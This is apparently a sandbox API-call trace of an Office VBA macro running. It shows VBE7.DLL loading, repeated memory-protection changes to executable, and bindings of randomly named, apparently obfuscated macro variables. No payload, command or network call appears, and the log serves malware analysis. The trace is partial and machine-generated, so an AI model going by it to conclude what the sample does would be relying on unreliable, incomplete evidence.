[0029.956] ITypeInfo:RemoteGetDllEntry (in: This=0x75817bc, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x30700c, pbstrName=0x0, pwOrdinal=0x2 | out: pBstrDllName=0x30700c*=0x0, pbstrName=0x0, pwOrdinal=0x2) returned 0x0
[0029.956] ITypeInfo:RemoteGetDllEntry (in: This=0x75817bc, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x30700c, pwOrdinal=0x84d1ed4 | out: pBstrDllName=0x0, pbstrName=0x30700c*="", pwOrdinal=0x84d1ed4*=0x5) returned 0x0
[0029.956] CRetailMalloc_Realloc () returned 0x757f5e8
[0029.956] CRetailMalloc_Realloc () returned 0x753a068
[0029.956] CRetailMalloc_Free () returned 0x2720001
[0029.956] GetCurrentProcess () returned 0xffffffff
[0029.956] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98a2, dwSize=0xc) returned 1
[0029.956] VirtualProtect (in: lpAddress=0x75e98a2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.956] GetCurrentProcess () returned 0xffffffff
[0029.956] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98b6, dwSize=0xc) returned 1
[0029.956] VirtualProtect (in: lpAddress=0x75e98b6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.956] GetCurrentProcess () returned 0xffffffff
[0029.956] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98ca, dwSize=0xc) returned 1
[0029.956] VirtualProtect (in: lpAddress=0x75e98ca, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.956] GetCurrentProcess () returned 0xffffffff
[0029.956] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98de, dwSize=0xc) returned 1
[0029.956] VirtualProtect (in: lpAddress=0x75e98de, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98f2, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e98f2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9906, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e9906, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e991a, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e991a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e992e, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e992e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9942, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e9942, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9956, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e9956, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e996a, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e996a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e997e, dwSize=0xc) returned 1
[0029.957] VirtualProtect (in: lpAddress=0x75e997e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.957] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9992, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e9992, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99a6, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e99a6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ba, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e99ba, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ce, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e99ce, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99e2, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e99e2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99f6, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e99f6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a0a, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e9a0a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a1e, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e9a1e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.958] GetCurrentProcess () returned 0xffffffff
[0029.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a32, dwSize=0xc) returned 1
[0029.958] VirtualProtect (in: lpAddress=0x75e9a32, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.959] GetCurrentProcess () returned 0xffffffff
[0029.959] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a46, dwSize=0xc) returned 1
[0029.959] VirtualProtect (in: lpAddress=0x75e9a46, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.959] GetCurrentProcess () returned 0xffffffff
[0029.959] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1ae, dwSize=0xc) returned 1
[0029.959] VirtualProtect (in: lpAddress=0x757f1ae, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.959] GetCurrentProcess () returned 0xffffffff
[0029.959] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1c2, dwSize=0xc) returned 1
[0029.959] VirtualProtect (in: lpAddress=0x757f1c2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.959] GetCurrentProcess () returned 0xffffffff
[0029.959] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1d6, dwSize=0xc) returned 1
[0029.959] VirtualProtect (in: lpAddress=0x757f1d6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x3071d4 | out: lpflOldProtect=0x3071d4*=0x40) returned 1
[0029.959] SetErrorMode (uMode=0x8001) returned 0x8001
[0029.962] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
[0029.962] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x72570000
[0029.963] SetErrorMode (uMode=0x8001) returned 0x8001
[0029.963] GetProcAddress (hModule=0x72570000, lpProcName=0x258) returned 0x725c8346
[0029.963] IUnknown:AddRef (This=0x75817bc) returned 0x3
[0029.963] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3079ec | out: ppvObject=0x3079ec*=0x0) returned 0x80004002
[0029.963] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3079f4 | out: ppvObject=0x3079f4*=0x0) returned 0x80004002
[0029.963] IUnknown:Release (This=0x75817bc) returned 0x2
[0029.963] GetAsyncKeyState (vKey=3) returned 0
[0029.964] CRetailMalloc_Alloc () returned 0x753ac90
[0029.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0ae6, cbMultiByte=8, lpWideCharStr=0x3070a4, cchWideChar=9 | out: lpWideCharStr="kMfPvfp") returned 8
[0029.964] ITypeComp:RemoteBind (in: This=0x757e060, szName="kMfPvfp", lHashVal=0x10f159, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x3fc | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x3fc) returned 0x0
[0029.964] CRetailMalloc_Alloc () returned 0x76054c8
[0029.964] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0ae6 | out: _Dst=0x76054c8) returned 0x0
[0029.965] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1b62, cbMultiByte=15, lpWideCharStr=0x3070b4, cchWideChar=16 | out: lpWideCharStr="_B_var_kMfPvfp") returned 15
[0029.965] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_kMfPvfp", lHashVal=0x10e55c, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.965] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0ae6 | out: _Dst=0x30711c) returned 0x0
[0029.965] CRetailMalloc_Free () returned 0x8600201
[0029.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537924, cbMultiByte=11, lpWideCharStr=0x84d08e4, cchWideChar=24 | out: lpWideCharStr="UDgGzdZfCck") returned 11
[0029.965] CRetailMalloc_Realloc () returned 0x7531a78
[0029.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x753793a, cbMultiByte=11, lpWideCharStr=0x84d0c78, cchWideChar=24 | out: lpWideCharStr="gDVvfVFdYuf") returned 11
[0029.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537952, cbMultiByte=10, lpWideCharStr=0x84d0fe8, cchWideChar=22 | out: lpWideCharStr="cvNpMeMWfd") returned 10
[0029.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537968, cbMultiByte=11, lpWideCharStr=0x84d1356, cchWideChar=24 | out: lpWideCharStr="MSsHVeXmKLY") returned 11
[0029.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0b0a, cbMultiByte=12, lpWideCharStr=0x3070a4, cchWideChar=13 | out: lpWideCharStr="npTbERzMkYx") returned 12
[0029.966] ITypeComp:RemoteBind (in: This=0x757e060, szName="npTbERzMkYx", lHashVal=0x10ad8f, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x3fe | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x3fe) returned 0x0
[0029.966] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.966] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0b0a | out: _Dst=0x76ac2d0) returned 0x0
[0029.967] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1b8e, cbMultiByte=19, lpWideCharStr=0x3070b4, cchWideChar=20 | out: lpWideCharStr="_B_var_npTbERzMkYx") returned 19
[0029.967] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_npTbERzMkYx", lHashVal=0x109ef1, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.967] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xc, _Src=0x81d0b0a | out: _Dst=0x30711c) returned 0x0
[0029.967] CRetailMalloc_Free () returned 0x12b20401
[0029.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0b32, cbMultiByte=11, lpWideCharStr=0x3070a4, cchWideChar=12 | out: lpWideCharStr="TFGxZFCHzN") returned 11
[0029.967] ITypeComp:RemoteBind (in: This=0x757e060, szName="TFGxZFCHzN", lHashVal=0x106815, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x400 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x400) returned 0x0
[0029.967] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.967] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xb, _Src=0x81d0b32 | out: _Dst=0x76ac2d0) returned 0x0
[0029.967] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1bbe, cbMultiByte=18, lpWideCharStr=0x3070b4, cchWideChar=19 | out: lpWideCharStr="_B_var_TFGxZFCHzN") returned 18
[0029.967] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_TFGxZFCHzN", lHashVal=0x10d67f, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.968] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0b32 | out: _Dst=0x30711c) returned 0x0
[0029.968] CRetailMalloc_Free () returned 0x12b20401
[0029.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0b5a, cbMultiByte=8, lpWideCharStr=0x3070a4, cchWideChar=9 | out: lpWideCharStr="wWVCzWA") returned 8
[0029.968] ITypeComp:RemoteBind (in: This=0x757e060, szName="wWVCzWA", lHashVal=0x108ff2, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x402 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x402) returned 0x0
[0029.968] CRetailMalloc_Alloc () returned 0x76054c8
[0029.968] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0b5a | out: _Dst=0x76054c8) returned 0x0
[0029.968] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1bee, cbMultiByte=15, lpWideCharStr=0x3070b4, cchWideChar=16 | out: lpWideCharStr="_B_var_wWVCzWA") returned 15
[0029.968] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_wWVCzWA", lHashVal=0x109376, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.968] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0b5a | out: _Dst=0x30711c) returned 0x0
[0029.968] CRetailMalloc_Free () returned 0x8600201
[0029.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0b7e, cbMultiByte=9, lpWideCharStr=0x3070a4, cchWideChar=10 | out: lpWideCharStr="rrcsHyFa") returned 9
[0029.969] ITypeComp:RemoteBind (in: This=0x757e060, szName="rrcsHyFa", lHashVal=0x10d8b0, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x404 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x404) returned 0x0
[0029.969] CRetailMalloc_Alloc () returned 0x76054c8
[0029.969] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0b7e | out: _Dst=0x76054c8) returned 0x0
[0029.969] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1c1a, cbMultiByte=16, lpWideCharStr=0x3070b4, cchWideChar=17 | out: lpWideCharStr="_B_var_rrcsHyFa") returned 16
[0029.969] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_rrcsHyFa", lHashVal=0x10b039, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.969] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0b7e | out: _Dst=0x30711c) returned 0x0
[0029.969] CRetailMalloc_Free () returned 0x8600201
[0029.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0ba6, cbMultiByte=11, lpWideCharStr=0x3070a4, cchWideChar=12 | out: lpWideCharStr="KnCDGVfwkb") returned 11
[0029.970] ITypeComp:RemoteBind (in: This=0x757e060, szName="KnCDGVfwkb", lHashVal=0x10cd1a, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x406 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x406) returned 0x0
[0029.970] CRetailMalloc_Realloc () returned 0x45f86e0
[0029.970] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.970] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xb, _Src=0x81d0ba6 | out: _Dst=0x76ac2d0) returned 0x0
[0029.970] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1c46, cbMultiByte=18, lpWideCharStr=0x3070b4, cchWideChar=19 | out: lpWideCharStr="_B_var_KnCDGVfwkb") returned 18
[0029.970] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_KnCDGVfwkb", lHashVal=0x103b45, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.970] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0ba6 | out: _Dst=0x30711c) returned 0x0
[0029.970] CRetailMalloc_Free () returned 0x12b20401
[0029.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0bce, cbMultiByte=8, lpWideCharStr=0x3070a4, cchWideChar=9 | out: lpWideCharStr="rNcAXrs") returned 8
[0029.971] ITypeComp:RemoteBind (in: This=0x757e060, szName="rNcAXrs", lHashVal=0x10708d, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x408 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x408) returned 0x0
[0029.971] CRetailMalloc_Alloc () returned 0x76054c8
[0029.971] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0bce | out: _Dst=0x76054c8) returned 0x0
[0029.971] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1c76, cbMultiByte=15, lpWideCharStr=0x3070b4, cchWideChar=16 | out: lpWideCharStr="_B_var_rNcAXrs") returned 15
[0029.971] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_rNcAXrs", lHashVal=0x107411, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.971] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0bce | out: _Dst=0x30711c) returned 0x0
[0029.971] CRetailMalloc_Free () returned 0x8600201
[0029.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0bf2, cbMultiByte=8, lpWideCharStr=0x3070a4, cchWideChar=9 | out: lpWideCharStr="pPkzAma") returned 8
[0029.976] ITypeComp:RemoteBind (in: This=0x757e060, szName="pPkzAma", lHashVal=0x107fe2, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40a | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40a) returned 0x0
[0029.976] CRetailMalloc_Alloc () returned 0x76054c8
[0029.976] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0bf2 | out: _Dst=0x76054c8) returned 0x0
[0029.977] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1ca2, cbMultiByte=15, lpWideCharStr=0x3070b4, cchWideChar=16 | out: lpWideCharStr="_B_var_pPkzAma") returned 15
[0029.977] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_pPkzAma", lHashVal=0x108366, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.977] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0bf2 | out: _Dst=0x30711c) returned 0x0
[0029.977] CRetailMalloc_Free () returned 0x8600201
[0029.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0c16, cbMultiByte=12, lpWideCharStr=0x3070a4, cchWideChar=13 | out: lpWideCharStr="xfzYTEPCRLb") returned 12
[0029.977] ITypeComp:RemoteBind (in: This=0x757e060, szName="xfzYTEPCRLb", lHashVal=0x10597d, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40c | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40c) returned 0x0
[0029.977] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.977] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0c16 | out: _Dst=0x76ac2d0) returned 0x0
[0029.978] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1cce, cbMultiByte=19, lpWideCharStr=0x3070b4, cchWideChar=20 | out: lpWideCharStr="_B_var_xfzYTEPCRLb") returned 19
[0029.978] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_xfzYTEPCRLb", lHashVal=0x104adf, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.978] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xc, _Src=0x81d0c16 | out: _Dst=0x30711c) returned 0x0
[0029.978] CRetailMalloc_Free () returned 0x12b20401
[0029.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0c3e, cbMultiByte=12, lpWideCharStr=0x3070a4, cchWideChar=13 | out: lpWideCharStr="YFBLePxRLdm") returned 12
